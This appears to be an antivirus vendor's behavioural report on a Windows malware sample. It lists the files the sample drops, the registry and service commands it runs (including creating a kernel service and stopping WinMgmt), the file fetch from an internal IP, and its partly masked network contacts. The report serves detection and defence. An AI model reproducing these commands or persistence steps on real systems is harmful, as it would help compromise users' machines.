Technical Information
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
- file extensions
Creates and executes the following:
- '%TEMP%\FTMTQzMzM3.exe' -i 192.168.1.201 get FFRMTQzMzM3.dat "%TEMP%\\FFRMTQzMzM3.dat"
- '%TEMP%\8vgy18CvbfDK2VEndYsHKd8e4jKcWi5dZknCFamgN+s=.exe' 8vgy18CvbfDK2VEndYsHKd8e4jKcWi5dZknCFamgN+s= 220107WB0041 ІвКФНш°Й CRNJEUFU 2.2012.0711 723119
- '%PROGRAM_FILES%\5678soft\nbclient\JKNBMS.exe'
- '%PROGRAM_FILES%\5678soft\nbclient\navi.exe'
- '%TEMP%\8vgy18CvbfDK2VEndYsHKd8e4jKcWi5dZknCFamgN+s=.exe' (downloaded from the Internet)
Executes the following:
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Desktop" /v WallpaperStyle /d "2" /f
- '<SYSTEM32>\regini.exe' regset.ini
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d "%PROGRAM_FILES%\5678soft\nbclient\desk.bmp" /f
- '<SYSTEM32>\rundll32.exe' USER32.DLL,UpdatePerUserSystemParameters
- '<SYSTEM32>\sc.exe' start MYTIMER
- '<SYSTEM32>\sc.exe' create MYTIMER binPath= "%PROGRAM_FILES%\5678soft\nbclient\MYTIMER.sys" type= kernel
- '<SYSTEM32>\net1.exe' stop WinMgmt /y
- '<SYSTEM32>\net.exe' stop WinMgmt /y
Sets a new unauthorized home page for Windows Internet Explorer.
Modifies file system :
Creates the following files:
- %PROGRAM_FILES%\5678soft\nbclient\SoapWebService.dll
- %PROGRAM_FILES%\5678soft\nbclient\ErrorLog.txt
- %PROGRAM_FILES%\5678soft\nbclient\serhis.ini
- %PROGRAM_FILES%\5678soft\nbclient\SetParam.exe
- %PROGRAM_FILES%\5678soft\nbclient\ErrorLog_thd.txt
- %TEMP%\8vgy18CvbfDK2VEndYsHKd8e4jKcWi5dZknCFamgN+s=
- %TEMP%\FTMTQzMzM3.exe
- %PROGRAM_FILES%\5678soft\nbclient\regset.ini
- %PROGRAM_FILES%\5678soft\nbclient\JKNBMS.exe
- %PROGRAM_FILES%\5678soft\nbclient\jknbms.mdns
- %PROGRAM_FILES%\5678soft\nbclient\desk.bmp
- %PROGRAM_FILES%\5678soft\nbclient\desk.jpg
- %PROGRAM_FILES%\5678soft\nbclient\JKServerPS.dll
- %PROGRAM_FILES%\5678soft\nbclient\navi.exe
- %PROGRAM_FILES%\5678soft\nbclient\nbmscc.ser
- %PROGRAM_FILES%\5678soft\nbclient\JLEncrypt.dll
- %PROGRAM_FILES%\5678soft\nbclient\MYTIMER.sys
Sets the 'hidden' attribute to the following files:
- %PROGRAM_FILES%\5678soft\nbclient\navi.exe
Deletes the following files:
- %TEMP%\CSWCLASS0.tmp
- %PROGRAM_FILES%\5678soft\nbclient\regset.ini
Network activity:
Connects to:
- '12#.#25.114.144':80
- 'www.cc###ping.com':80
- 'www.92##.com':80
- '<Private IP address>':2000
- 'www.ii###enter.cn':80
- '<Private IP address>':80
TCP:
HTTP GET requests:
- 12#.#25.114.144/
- www.92##.com/asb/asbup.txt
- www.ii###enter.cn/ini/220107WB0041.txt?pa##################
- <Private IP address>/?pa##################
UDP:
- DNS ASK www.ba##u.com
- DNS ASK www.cc###ping.com
- DNS ASK www.92##.com
- DNS ASK www.ii###enter.cn
- 'localhost':69
- '<Private IP address>':69
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
